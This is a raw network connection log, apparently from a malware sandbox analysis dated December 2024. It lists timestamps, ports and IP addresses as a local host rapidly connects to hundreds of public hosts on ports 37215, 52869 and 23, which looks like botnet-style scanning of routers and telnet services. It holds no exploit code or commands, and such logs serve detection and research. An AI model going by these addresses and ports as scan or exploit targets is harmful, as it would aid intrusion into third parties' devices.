Dec 4, 2024 20:34:37.174290895 CET	60590	52869	192.168.2.14	156.203.139.23
Dec 4, 2024 20:34:37.174299002 CET	45802	52869	192.168.2.14	156.141.19.59
Dec 4, 2024 20:34:37.174304008 CET	59346	52869	192.168.2.14	197.112.45.226
Dec 4, 2024 20:34:37.174307108 CET	34674	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:37.174309015 CET	58166	52869	192.168.2.14	156.215.44.171
Dec 4, 2024 20:34:37.174324989 CET	38024	52869	192.168.2.14	197.203.229.170
Dec 4, 2024 20:34:37.174326897 CET	57694	52869	192.168.2.14	41.255.254.183
Dec 4, 2024 20:34:37.174906969 CET	37215	53826	156.73.55.186	192.168.2.14
Dec 4, 2024 20:34:37.174937963 CET	37215	56284	197.103.13.13	192.168.2.14
Dec 4, 2024 20:34:37.174948931 CET	37215	53906	197.230.114.235	192.168.2.14
Dec 4, 2024 20:34:37.175017118 CET	37215	56572	156.226.100.188	192.168.2.14
Dec 4, 2024 20:34:37.175097942 CET	37215	34186	41.16.74.27	192.168.2.14
Dec 4, 2024 20:34:37.175107956 CET	37215	57632	197.54.193.91	192.168.2.14
Dec 4, 2024 20:34:37.175127983 CET	37215	53676	156.16.70.72	192.168.2.14
Dec 4, 2024 20:34:37.175386906 CET	37215	49386	156.84.140.18	192.168.2.14
Dec 4, 2024 20:34:37.175400019 CET	37215	48400	197.240.225.40	192.168.2.14
Dec 4, 2024 20:34:37.175417900 CET	37215	35070	41.124.245.197	192.168.2.14
Dec 4, 2024 20:34:37.175435066 CET	37215	34114	41.125.57.226	192.168.2.14
Dec 4, 2024 20:34:37.175448895 CET	37215	55680	197.107.186.146	192.168.2.14
Dec 4, 2024 20:34:37.175757885 CET	37215	36610	197.212.128.183	192.168.2.14
Dec 4, 2024 20:34:37.175816059 CET	37215	42356	41.191.169.69	192.168.2.14
Dec 4, 2024 20:34:37.175826073 CET	37215	57522	156.125.121.36	192.168.2.14
Dec 4, 2024 20:34:37.175853968 CET	37215	39522	156.26.60.186	192.168.2.14
Dec 4, 2024 20:34:37.177012920 CET	37215	51508	41.137.76.138	192.168.2.14
Dec 4, 2024 20:34:37.177021980 CET	37215	49264	41.209.252.161	192.168.2.14
Dec 4, 2024 20:34:37.177031040 CET	37215	46924	197.171.113.254	192.168.2.14
Dec 4, 2024 20:34:37.177174091 CET	37215	45674	197.57.80.139	192.168.2.14
Dec 4, 2024 20:34:37.177177906 CET	37215	56220	156.251.83.218	192.168.2.14
Dec 4, 2024 20:34:37.177181959 CET	37215	45720	156.235.86.196	192.168.2.14
Dec 4, 2024 20:34:37.177201986 CET	37215	52758	41.69.3.230	192.168.2.14
Dec 4, 2024 20:34:37.177211046 CET	37215	56452	41.70.211.68	192.168.2.14
Dec 4, 2024 20:34:37.177324057 CET	23	40058	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:37.177510023 CET	23	40140	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:37.177551985 CET	37215	60584	41.128.154.190	192.168.2.14
Dec 4, 2024 20:34:37.177555084 CET	40140	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:37.177584887 CET	23	42792	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:37.177592993 CET	60584	37215	192.168.2.14	41.128.154.190
Dec 4, 2024 20:34:37.177681923 CET	37215	34424	41.16.74.27	192.168.2.14
Dec 4, 2024 20:34:37.177709103 CET	60584	37215	192.168.2.14	41.128.154.190
Dec 4, 2024 20:34:37.177722931 CET	34424	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:37.177735090 CET	60584	37215	192.168.2.14	41.128.154.190
Dec 4, 2024 20:34:37.178117037 CET	60596	37215	192.168.2.14	41.128.154.190
Dec 4, 2024 20:34:37.179550886 CET	23	42876	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:37.179595947 CET	42876	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:37.179613113 CET	37215	53976	197.141.141.8	192.168.2.14
Dec 4, 2024 20:34:37.179622889 CET	23	33380	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:37.179656982 CET	53976	37215	192.168.2.14	197.141.141.8
Dec 4, 2024 20:34:37.179686069 CET	53976	37215	192.168.2.14	197.141.141.8
Dec 4, 2024 20:34:37.179686069 CET	53976	37215	192.168.2.14	197.141.141.8
Dec 4, 2024 20:34:37.179956913 CET	53986	37215	192.168.2.14	197.141.141.8
Dec 4, 2024 20:34:37.180634975 CET	23	33466	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:37.180658102 CET	37215	37218	197.185.99.182	192.168.2.14
Dec 4, 2024 20:34:37.180677891 CET	33466	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:37.180691004 CET	37218	37215	192.168.2.14	197.185.99.182
Dec 4, 2024 20:34:37.180711031 CET	37218	37215	192.168.2.14	197.185.99.182
Dec 4, 2024 20:34:37.180711031 CET	37218	37215	192.168.2.14	197.185.99.182
Dec 4, 2024 20:34:37.180968046 CET	37226	37215	192.168.2.14	197.185.99.182
Dec 4, 2024 20:34:37.181294918 CET	37215	52502	41.233.119.31	192.168.2.14
Dec 4, 2024 20:34:37.181341887 CET	52502	37215	192.168.2.14	41.233.119.31
Dec 4, 2024 20:34:37.181365967 CET	52502	37215	192.168.2.14	41.233.119.31
Dec 4, 2024 20:34:37.181365967 CET	52502	37215	192.168.2.14	41.233.119.31
Dec 4, 2024 20:34:37.181618929 CET	52510	37215	192.168.2.14	41.233.119.31
Dec 4, 2024 20:34:37.184156895 CET	37215	37024	156.154.205.52	192.168.2.14
Dec 4, 2024 20:34:37.184432030 CET	37215	57592	41.194.61.209	192.168.2.14
Dec 4, 2024 20:34:37.184542894 CET	37215	51590	197.123.241.110	192.168.2.14
Dec 4, 2024 20:34:37.185364008 CET	37215	46240	197.46.72.54	192.168.2.14
Dec 4, 2024 20:34:37.185540915 CET	37215	33990	197.70.26.71	192.168.2.14
Dec 4, 2024 20:34:37.185781002 CET	37215	39784	197.246.71.134	192.168.2.14
Dec 4, 2024 20:34:37.185971975 CET	37215	46458	156.134.74.251	192.168.2.14
Dec 4, 2024 20:34:37.186084032 CET	37215	58918	156.168.90.110	192.168.2.14
Dec 4, 2024 20:34:37.186269045 CET	37215	41170	156.230.112.106	192.168.2.14
Dec 4, 2024 20:34:37.186314106 CET	37215	53018	156.168.141.207	192.168.2.14
Dec 4, 2024 20:34:37.186528921 CET	37215	46848	41.5.195.235	192.168.2.14
Dec 4, 2024 20:34:37.186589003 CET	37215	49752	156.17.91.196	192.168.2.14
Dec 4, 2024 20:34:37.186635971 CET	37215	49544	41.209.252.161	192.168.2.14
Dec 4, 2024 20:34:37.186779976 CET	37215	49544	41.209.252.161	192.168.2.14
Dec 4, 2024 20:34:37.186821938 CET	49544	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:37.199381113 CET	37215	57250	197.225.5.98	192.168.2.14
Dec 4, 2024 20:34:37.199397087 CET	37215	42760	156.126.232.137	192.168.2.14
Dec 4, 2024 20:34:37.199434042 CET	57250	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:37.199436903 CET	42760	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:37.199487925 CET	57250	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:37.199487925 CET	57250	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:37.199794054 CET	57442	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:37.200160027 CET	42760	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:37.200160027 CET	42760	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:37.200418949 CET	42952	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:37.294266939 CET	37215	49708	156.22.59.142	192.168.2.14
Dec 4, 2024 20:34:37.294306040 CET	52869	40116	197.196.129.17	192.168.2.14
Dec 4, 2024 20:34:37.294338942 CET	49708	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:37.294348001 CET	40116	52869	192.168.2.14	197.196.129.17
Dec 4, 2024 20:34:37.294375896 CET	49708	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:37.294389009 CET	52869	54152	156.26.151.180	192.168.2.14
Dec 4, 2024 20:34:37.294389009 CET	60019	52869	192.168.2.14	197.161.3.245
Dec 4, 2024 20:34:37.294389009 CET	60019	52869	192.168.2.14	41.236.129.106
Dec 4, 2024 20:34:37.294394016 CET	60019	52869	192.168.2.14	197.70.137.31
Dec 4, 2024 20:34:37.294399977 CET	52869	41528	156.10.184.5	192.168.2.14
Dec 4, 2024 20:34:37.294403076 CET	60019	52869	192.168.2.14	156.162.177.200
Dec 4, 2024 20:34:37.294406891 CET	60019	52869	192.168.2.14	156.73.107.240
Dec 4, 2024 20:34:37.294414043 CET	60019	52869	192.168.2.14	156.118.174.148
Dec 4, 2024 20:34:37.294413090 CET	60019	52869	192.168.2.14	41.147.170.43
Dec 4, 2024 20:34:37.294413090 CET	60019	52869	192.168.2.14	156.124.74.167
Dec 4, 2024 20:34:37.294428110 CET	60019	52869	192.168.2.14	156.57.20.17
Dec 4, 2024 20:34:37.294430971 CET	60019	52869	192.168.2.14	41.82.237.63
Dec 4, 2024 20:34:37.294434071 CET	60019	52869	192.168.2.14	197.66.25.118
Dec 4, 2024 20:34:37.294440031 CET	60019	52869	192.168.2.14	197.31.161.40
Dec 4, 2024 20:34:37.294435024 CET	60019	52869	192.168.2.14	197.50.185.6
Dec 4, 2024 20:34:37.294441938 CET	60019	52869	192.168.2.14	197.8.120.27
Dec 4, 2024 20:34:37.294442892 CET	60019	52869	192.168.2.14	41.129.226.74
Dec 4, 2024 20:34:37.294450998 CET	60019	52869	192.168.2.14	156.132.70.91
Dec 4, 2024 20:34:37.294450998 CET	60019	52869	192.168.2.14	41.57.144.77
Dec 4, 2024 20:34:37.294461012 CET	54152	52869	192.168.2.14	156.26.151.180
Dec 4, 2024 20:34:37.294461012 CET	41528	52869	192.168.2.14	156.10.184.5
Dec 4, 2024 20:34:37.294461012 CET	60019	52869	192.168.2.14	41.240.25.19
Dec 4, 2024 20:34:37.294461012 CET	60019	52869	192.168.2.14	197.87.52.176
Dec 4, 2024 20:34:37.294465065 CET	60019	52869	192.168.2.14	197.5.34.115
Dec 4, 2024 20:34:37.294466019 CET	60019	52869	192.168.2.14	156.110.110.21
Dec 4, 2024 20:34:37.294466019 CET	60019	52869	192.168.2.14	156.82.5.108
Dec 4, 2024 20:34:37.294466019 CET	60019	52869	192.168.2.14	41.91.186.187
Dec 4, 2024 20:34:37.294466019 CET	60019	52869	192.168.2.14	156.34.111.243
Dec 4, 2024 20:34:37.294472933 CET	60019	52869	192.168.2.14	197.226.63.255
Dec 4, 2024 20:34:37.294472933 CET	60019	52869	192.168.2.14	41.106.221.253
Dec 4, 2024 20:34:37.294473886 CET	60019	52869	192.168.2.14	197.86.115.46
Dec 4, 2024 20:34:37.294472933 CET	60019	52869	192.168.2.14	156.61.127.27
Dec 4, 2024 20:34:37.294472933 CET	60019	52869	192.168.2.14	156.47.79.193
Dec 4, 2024 20:34:37.294472933 CET	60019	52869	192.168.2.14	156.181.54.184
Dec 4, 2024 20:34:37.294472933 CET	60019	52869	192.168.2.14	197.237.49.7
Dec 4, 2024 20:34:37.294472933 CET	60019	52869	192.168.2.14	197.75.16.139
Dec 4, 2024 20:34:37.294472933 CET	60019	52869	192.168.2.14	197.138.199.30
Dec 4, 2024 20:34:37.294478893 CET	60019	52869	192.168.2.14	197.127.35.35
Dec 4, 2024 20:34:37.294480085 CET	60019	52869	192.168.2.14	156.253.84.8
Dec 4, 2024 20:34:37.294480085 CET	60019	52869	192.168.2.14	156.161.65.44
Dec 4, 2024 20:34:37.294482946 CET	60019	52869	192.168.2.14	156.116.219.114
Dec 4, 2024 20:34:37.294485092 CET	60019	52869	192.168.2.14	156.24.157.3
Dec 4, 2024 20:34:37.294485092 CET	60019	52869	192.168.2.14	41.230.168.54
Dec 4, 2024 20:34:37.294487953 CET	60019	52869	192.168.2.14	156.232.19.233
Dec 4, 2024 20:34:37.294487953 CET	60019	52869	192.168.2.14	41.38.175.41
Dec 4, 2024 20:34:37.294493914 CET	60019	52869	192.168.2.14	41.73.247.135
Dec 4, 2024 20:34:37.294493914 CET	60019	52869	192.168.2.14	41.4.245.146
Dec 4, 2024 20:34:37.294493914 CET	60019	52869	192.168.2.14	197.98.117.194
Dec 4, 2024 20:34:37.294498920 CET	60019	52869	192.168.2.14	197.105.184.177
Dec 4, 2024 20:34:37.294498920 CET	60019	52869	192.168.2.14	156.43.66.128
Dec 4, 2024 20:34:37.294500113 CET	60019	52869	192.168.2.14	197.176.174.115
Dec 4, 2024 20:34:37.294504881 CET	52869	50048	41.194.229.91	192.168.2.14
Dec 4, 2024 20:34:37.294511080 CET	60019	52869	192.168.2.14	41.1.60.88
Dec 4, 2024 20:34:37.294513941 CET	60019	52869	192.168.2.14	156.80.235.244
Dec 4, 2024 20:34:37.294516087 CET	52869	59346	197.112.45.226	192.168.2.14
Dec 4, 2024 20:34:37.294521093 CET	60019	52869	192.168.2.14	197.32.124.42
Dec 4, 2024 20:34:37.294527054 CET	37215	48832	41.238.60.31	192.168.2.14
Dec 4, 2024 20:34:37.294538021 CET	52869	60146	197.172.51.171	192.168.2.14
Dec 4, 2024 20:34:37.294548035 CET	52869	45802	156.141.19.59	192.168.2.14
Dec 4, 2024 20:34:37.294548988 CET	50048	52869	192.168.2.14	41.194.229.91
Dec 4, 2024 20:34:37.294552088 CET	59346	52869	192.168.2.14	197.112.45.226
Dec 4, 2024 20:34:37.294558048 CET	60019	52869	192.168.2.14	197.182.112.83
Dec 4, 2024 20:34:37.294558048 CET	60019	52869	192.168.2.14	156.42.181.247
Dec 4, 2024 20:34:37.294569016 CET	52869	45650	41.158.27.132	192.168.2.14
Dec 4, 2024 20:34:37.294569016 CET	48832	37215	192.168.2.14	41.238.60.31
Dec 4, 2024 20:34:37.294569969 CET	60019	52869	192.168.2.14	197.1.194.206
Dec 4, 2024 20:34:37.294569969 CET	60019	52869	192.168.2.14	197.20.109.139
Dec 4, 2024 20:34:37.294572115 CET	60019	52869	192.168.2.14	156.39.200.178
Dec 4, 2024 20:34:37.294579983 CET	60019	52869	192.168.2.14	41.201.144.85
Dec 4, 2024 20:34:37.294580936 CET	60019	52869	192.168.2.14	156.202.31.129
Dec 4, 2024 20:34:37.294580936 CET	52869	60590	156.203.139.23	192.168.2.14
Dec 4, 2024 20:34:37.294584036 CET	60019	52869	192.168.2.14	156.63.205.34
Dec 4, 2024 20:34:37.294585943 CET	60019	52869	192.168.2.14	41.217.224.104
Dec 4, 2024 20:34:37.294586897 CET	60019	52869	192.168.2.14	41.99.232.247
Dec 4, 2024 20:34:37.294586897 CET	60019	52869	192.168.2.14	41.121.169.224
Dec 4, 2024 20:34:37.294586897 CET	60019	52869	192.168.2.14	156.221.186.235
Dec 4, 2024 20:34:37.294591904 CET	60019	52869	192.168.2.14	156.146.97.156
Dec 4, 2024 20:34:37.294591904 CET	45802	52869	192.168.2.14	156.141.19.59
Dec 4, 2024 20:34:37.294594049 CET	48832	37215	192.168.2.14	41.238.60.31
Dec 4, 2024 20:34:37.294594049 CET	60146	52869	192.168.2.14	197.172.51.171
Dec 4, 2024 20:34:37.294595957 CET	60019	52869	192.168.2.14	197.127.255.75
Dec 4, 2024 20:34:37.294595957 CET	60019	52869	192.168.2.14	156.191.66.38
Dec 4, 2024 20:34:37.294600964 CET	60019	52869	192.168.2.14	197.188.56.236
Dec 4, 2024 20:34:37.294601917 CET	45650	52869	192.168.2.14	41.158.27.132
Dec 4, 2024 20:34:37.294604063 CET	60019	52869	192.168.2.14	197.154.225.99
Dec 4, 2024 20:34:37.294604063 CET	60019	52869	192.168.2.14	197.178.83.211
Dec 4, 2024 20:34:37.294604063 CET	60019	52869	192.168.2.14	41.240.94.74
Dec 4, 2024 20:34:37.294605970 CET	60019	52869	192.168.2.14	156.99.186.239
Dec 4, 2024 20:34:37.294609070 CET	60019	52869	192.168.2.14	156.237.82.188
Dec 4, 2024 20:34:37.294609070 CET	60019	52869	192.168.2.14	41.134.220.65
Dec 4, 2024 20:34:37.294610023 CET	60019	52869	192.168.2.14	41.175.191.235
Dec 4, 2024 20:34:37.294612885 CET	60019	52869	192.168.2.14	197.62.18.137
Dec 4, 2024 20:34:37.294615984 CET	60019	52869	192.168.2.14	197.153.18.70
Dec 4, 2024 20:34:37.294615984 CET	60590	52869	192.168.2.14	156.203.139.23
Dec 4, 2024 20:34:37.294616938 CET	60019	52869	192.168.2.14	197.199.146.33
Dec 4, 2024 20:34:37.294620991 CET	60019	52869	192.168.2.14	197.173.136.242
Dec 4, 2024 20:34:37.294622898 CET	60019	52869	192.168.2.14	41.5.37.241
Dec 4, 2024 20:34:37.294622898 CET	60019	52869	192.168.2.14	156.90.164.47
Dec 4, 2024 20:34:37.294631004 CET	60019	52869	192.168.2.14	156.60.118.133
Dec 4, 2024 20:34:37.294631958 CET	60019	52869	192.168.2.14	156.233.229.73
Dec 4, 2024 20:34:37.294632912 CET	60019	52869	192.168.2.14	156.7.191.247
Dec 4, 2024 20:34:37.294632912 CET	60019	52869	192.168.2.14	156.206.11.75
Dec 4, 2024 20:34:37.294635057 CET	60019	52869	192.168.2.14	41.164.115.11
Dec 4, 2024 20:34:37.294642925 CET	60019	52869	192.168.2.14	197.210.60.16
Dec 4, 2024 20:34:37.294645071 CET	60019	52869	192.168.2.14	197.27.180.61
Dec 4, 2024 20:34:37.294645071 CET	60019	52869	192.168.2.14	156.187.42.8
Dec 4, 2024 20:34:37.294646978 CET	60019	52869	192.168.2.14	41.170.204.64
Dec 4, 2024 20:34:37.294646978 CET	60019	52869	192.168.2.14	197.199.199.50
Dec 4, 2024 20:34:37.294648886 CET	60019	52869	192.168.2.14	41.26.3.49
Dec 4, 2024 20:34:37.294660091 CET	60019	52869	192.168.2.14	156.180.29.240
Dec 4, 2024 20:34:37.294660091 CET	60019	52869	192.168.2.14	41.227.254.24
Dec 4, 2024 20:34:37.294667006 CET	60019	52869	192.168.2.14	156.223.224.167
Dec 4, 2024 20:34:37.294667006 CET	60019	52869	192.168.2.14	197.159.135.135
Dec 4, 2024 20:34:37.294667006 CET	60019	52869	192.168.2.14	156.173.208.245
Dec 4, 2024 20:34:37.294667959 CET	60019	52869	192.168.2.14	41.143.176.144
Dec 4, 2024 20:34:37.294667006 CET	60019	52869	192.168.2.14	197.4.161.3
Dec 4, 2024 20:34:37.294667959 CET	60019	52869	192.168.2.14	156.34.173.250
Dec 4, 2024 20:34:37.294672966 CET	60019	52869	192.168.2.14	197.107.198.117
Dec 4, 2024 20:34:37.294672966 CET	60019	52869	192.168.2.14	41.204.236.113
Dec 4, 2024 20:34:37.294672966 CET	60019	52869	192.168.2.14	156.67.67.90
Dec 4, 2024 20:34:37.294672966 CET	60019	52869	192.168.2.14	156.216.105.74
Dec 4, 2024 20:34:37.294672966 CET	60019	52869	192.168.2.14	41.176.103.223
Dec 4, 2024 20:34:37.294677019 CET	60019	52869	192.168.2.14	197.223.215.146
Dec 4, 2024 20:34:37.294677019 CET	60019	52869	192.168.2.14	41.84.68.9
Dec 4, 2024 20:34:37.294677973 CET	60019	52869	192.168.2.14	156.48.104.17
Dec 4, 2024 20:34:37.294678926 CET	60019	52869	192.168.2.14	197.20.79.182
Dec 4, 2024 20:34:37.294680119 CET	60019	52869	192.168.2.14	41.163.218.43
Dec 4, 2024 20:34:37.294680119 CET	60019	52869	192.168.2.14	156.76.71.172
Dec 4, 2024 20:34:37.294680119 CET	60019	52869	192.168.2.14	197.72.132.41
Dec 4, 2024 20:34:37.294687986 CET	60019	52869	192.168.2.14	41.180.207.184
Dec 4, 2024 20:34:37.294692039 CET	60019	52869	192.168.2.14	156.116.214.160
Dec 4, 2024 20:34:37.294692039 CET	60019	52869	192.168.2.14	197.215.232.198
Dec 4, 2024 20:34:37.294697046 CET	60019	52869	192.168.2.14	156.208.161.193
Dec 4, 2024 20:34:37.294698954 CET	60019	52869	192.168.2.14	41.52.32.175
Dec 4, 2024 20:34:37.294698954 CET	60019	52869	192.168.2.14	197.253.101.54
Dec 4, 2024 20:34:37.294699907 CET	60019	52869	192.168.2.14	41.217.159.86
Dec 4, 2024 20:34:37.294699907 CET	60019	52869	192.168.2.14	41.253.193.135
Dec 4, 2024 20:34:37.294702053 CET	60019	52869	192.168.2.14	41.95.203.92
Dec 4, 2024 20:34:37.294702053 CET	60019	52869	192.168.2.14	197.71.232.109
Dec 4, 2024 20:34:37.294702053 CET	60019	52869	192.168.2.14	156.69.29.205
Dec 4, 2024 20:34:37.294702053 CET	60019	52869	192.168.2.14	41.217.168.113
Dec 4, 2024 20:34:37.294703960 CET	60019	52869	192.168.2.14	41.194.194.19
Dec 4, 2024 20:34:37.294703960 CET	60019	52869	192.168.2.14	41.199.224.74
Dec 4, 2024 20:34:37.294703960 CET	60019	52869	192.168.2.14	197.51.176.109
Dec 4, 2024 20:34:37.294703960 CET	60019	52869	192.168.2.14	197.92.38.77
Dec 4, 2024 20:34:37.294703960 CET	60019	52869	192.168.2.14	197.197.134.197
Dec 4, 2024 20:34:37.294708967 CET	60019	52869	192.168.2.14	197.53.239.170
Dec 4, 2024 20:34:37.294709921 CET	60019	52869	192.168.2.14	41.45.192.16
Dec 4, 2024 20:34:37.294709921 CET	60019	52869	192.168.2.14	156.242.61.181
Dec 4, 2024 20:34:37.294709921 CET	60019	52869	192.168.2.14	41.90.116.179
Dec 4, 2024 20:34:37.294712067 CET	60019	52869	192.168.2.14	197.116.132.30
Dec 4, 2024 20:34:37.294714928 CET	60019	52869	192.168.2.14	41.190.92.157
Dec 4, 2024 20:34:37.294733047 CET	60019	52869	192.168.2.14	41.53.253.239
Dec 4, 2024 20:34:37.294733047 CET	60019	52869	192.168.2.14	156.190.236.192
Dec 4, 2024 20:34:37.294733047 CET	60019	52869	192.168.2.14	41.119.110.215
Dec 4, 2024 20:34:37.294734955 CET	60019	52869	192.168.2.14	41.141.210.207
Dec 4, 2024 20:34:37.294735909 CET	60019	52869	192.168.2.14	197.219.183.89
Dec 4, 2024 20:34:37.294735909 CET	60019	52869	192.168.2.14	156.71.90.195
Dec 4, 2024 20:34:37.294735909 CET	60019	52869	192.168.2.14	156.12.253.47
Dec 4, 2024 20:34:37.294735909 CET	60019	52869	192.168.2.14	41.125.135.132
Dec 4, 2024 20:34:37.294735909 CET	60019	52869	192.168.2.14	156.172.229.25
Dec 4, 2024 20:34:37.294739962 CET	60019	52869	192.168.2.14	156.102.201.50
Dec 4, 2024 20:34:37.294737101 CET	60019	52869	192.168.2.14	41.221.61.42
Dec 4, 2024 20:34:37.294739962 CET	60019	52869	192.168.2.14	156.195.111.61
Dec 4, 2024 20:34:37.294742107 CET	60019	52869	192.168.2.14	156.30.210.145
Dec 4, 2024 20:34:37.294737101 CET	60019	52869	192.168.2.14	41.178.37.56
Dec 4, 2024 20:34:37.294744015 CET	60019	52869	192.168.2.14	41.186.35.198
Dec 4, 2024 20:34:37.294739962 CET	60019	52869	192.168.2.14	41.101.42.241
Dec 4, 2024 20:34:37.294744015 CET	60019	52869	192.168.2.14	197.126.196.55
Dec 4, 2024 20:34:37.294742107 CET	60019	52869	192.168.2.14	156.84.155.50
Dec 4, 2024 20:34:37.294739962 CET	60019	52869	192.168.2.14	197.106.102.229
Dec 4, 2024 20:34:37.294744015 CET	60019	52869	192.168.2.14	41.15.225.93
Dec 4, 2024 20:34:37.294739962 CET	60019	52869	192.168.2.14	197.35.252.239
Dec 4, 2024 20:34:37.294744015 CET	60019	52869	192.168.2.14	156.223.109.4
Dec 4, 2024 20:34:37.294753075 CET	60019	52869	192.168.2.14	197.40.200.224
Dec 4, 2024 20:34:37.294754028 CET	60019	52869	192.168.2.14	197.2.228.222
Dec 4, 2024 20:34:37.294754028 CET	60019	52869	192.168.2.14	197.126.81.36
Dec 4, 2024 20:34:37.294754028 CET	60019	52869	192.168.2.14	197.210.91.79
Dec 4, 2024 20:34:37.294758081 CET	60019	52869	192.168.2.14	156.67.246.129
Dec 4, 2024 20:34:37.294858932 CET	40116	52869	192.168.2.14	197.196.129.17
Dec 4, 2024 20:34:37.294869900 CET	40116	52869	192.168.2.14	197.196.129.17
Dec 4, 2024 20:34:37.295260906 CET	40284	52869	192.168.2.14	197.196.129.17
Dec 4, 2024 20:34:37.295681000 CET	59346	52869	192.168.2.14	197.112.45.226
Dec 4, 2024 20:34:37.295681000 CET	59346	52869	192.168.2.14	197.112.45.226
Dec 4, 2024 20:34:37.295972109 CET	59532	52869	192.168.2.14	197.112.45.226
Dec 4, 2024 20:34:37.296351910 CET	45802	52869	192.168.2.14	156.141.19.59
Dec 4, 2024 20:34:37.296351910 CET	45802	52869	192.168.2.14	156.141.19.59
Dec 4, 2024 20:34:37.296639919 CET	45988	52869	192.168.2.14	156.141.19.59
Dec 4, 2024 20:34:37.297008038 CET	41528	52869	192.168.2.14	156.10.184.5
Dec 4, 2024 20:34:37.297019005 CET	41528	52869	192.168.2.14	156.10.184.5
Dec 4, 2024 20:34:37.297301054 CET	41714	52869	192.168.2.14	156.10.184.5
Dec 4, 2024 20:34:37.297521114 CET	37215	60584	41.128.154.190	192.168.2.14
Dec 4, 2024 20:34:37.297745943 CET	60590	52869	192.168.2.14	156.203.139.23
Dec 4, 2024 20:34:37.297745943 CET	60590	52869	192.168.2.14	156.203.139.23
Dec 4, 2024 20:34:37.298059940 CET	23	40140	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:37.298093081 CET	60776	52869	192.168.2.14	156.203.139.23
Dec 4, 2024 20:34:37.298156023 CET	40140	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:37.298695087 CET	60146	52869	192.168.2.14	197.172.51.171
Dec 4, 2024 20:34:37.298695087 CET	60146	52869	192.168.2.14	197.172.51.171
Dec 4, 2024 20:34:37.298861027 CET	37215	60584	41.128.154.190	192.168.2.14
Dec 4, 2024 20:34:37.299108028 CET	40176	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:37.299199104 CET	60334	52869	192.168.2.14	197.172.51.171
Dec 4, 2024 20:34:37.299810886 CET	45650	52869	192.168.2.14	41.158.27.132
Dec 4, 2024 20:34:37.299810886 CET	45650	52869	192.168.2.14	41.158.27.132
Dec 4, 2024 20:34:37.299882889 CET	37215	53976	197.141.141.8	192.168.2.14
Dec 4, 2024 20:34:37.300080061 CET	23	42876	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:37.300187111 CET	45838	52869	192.168.2.14	41.158.27.132
Dec 4, 2024 20:34:37.300204039 CET	37215	53976	197.141.141.8	192.168.2.14
Dec 4, 2024 20:34:37.300395966 CET	42876	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:37.300726891 CET	50048	52869	192.168.2.14	41.194.229.91
Dec 4, 2024 20:34:37.300728083 CET	50048	52869	192.168.2.14	41.194.229.91
Dec 4, 2024 20:34:37.301124096 CET	50236	52869	192.168.2.14	41.194.229.91
Dec 4, 2024 20:34:37.301213980 CET	42916	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:37.301227093 CET	37215	37218	197.185.99.182	192.168.2.14
Dec 4, 2024 20:34:37.301290035 CET	23	33466	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:37.301471949 CET	37215	37218	197.185.99.182	192.168.2.14
Dec 4, 2024 20:34:37.301688910 CET	54152	52869	192.168.2.14	156.26.151.180
Dec 4, 2024 20:34:37.301688910 CET	54152	52869	192.168.2.14	156.26.151.180
Dec 4, 2024 20:34:37.302046061 CET	37215	52502	41.233.119.31	192.168.2.14
Dec 4, 2024 20:34:37.302119970 CET	37215	52502	41.233.119.31	192.168.2.14
Dec 4, 2024 20:34:37.302169085 CET	54342	52869	192.168.2.14	156.26.151.180
Dec 4, 2024 20:34:37.302274942 CET	41648	52869	192.168.2.14	197.77.98.52
Dec 4, 2024 20:34:37.302274942 CET	34912	52869	192.168.2.14	197.182.194.233
Dec 4, 2024 20:34:37.302284002 CET	52850	52869	192.168.2.14	197.225.33.176
Dec 4, 2024 20:34:37.302288055 CET	39970	52869	192.168.2.14	156.244.247.160
Dec 4, 2024 20:34:37.302297115 CET	60778	52869	192.168.2.14	197.188.115.154
Dec 4, 2024 20:34:37.302300930 CET	36442	52869	192.168.2.14	197.64.212.1
Dec 4, 2024 20:34:37.302304983 CET	37986	52869	192.168.2.14	197.41.221.45
Dec 4, 2024 20:34:37.302304983 CET	33466	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:37.302459955 CET	33466	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:37.303010941 CET	33506	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:37.321193933 CET	37215	57250	197.225.5.98	192.168.2.14
Dec 4, 2024 20:34:37.321475983 CET	37215	57442	197.225.5.98	192.168.2.14
Dec 4, 2024 20:34:37.321487904 CET	37215	57250	197.225.5.98	192.168.2.14
Dec 4, 2024 20:34:37.321527004 CET	57442	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:37.321563959 CET	57442	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:37.321660995 CET	37215	42760	156.126.232.137	192.168.2.14
Dec 4, 2024 20:34:37.321703911 CET	42760	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:37.323091984 CET	37215	42760	156.126.232.137	192.168.2.14
Dec 4, 2024 20:34:37.323122025 CET	37215	42760	156.126.232.137	192.168.2.14
Dec 4, 2024 20:34:37.323163986 CET	37215	42952	156.126.232.137	192.168.2.14
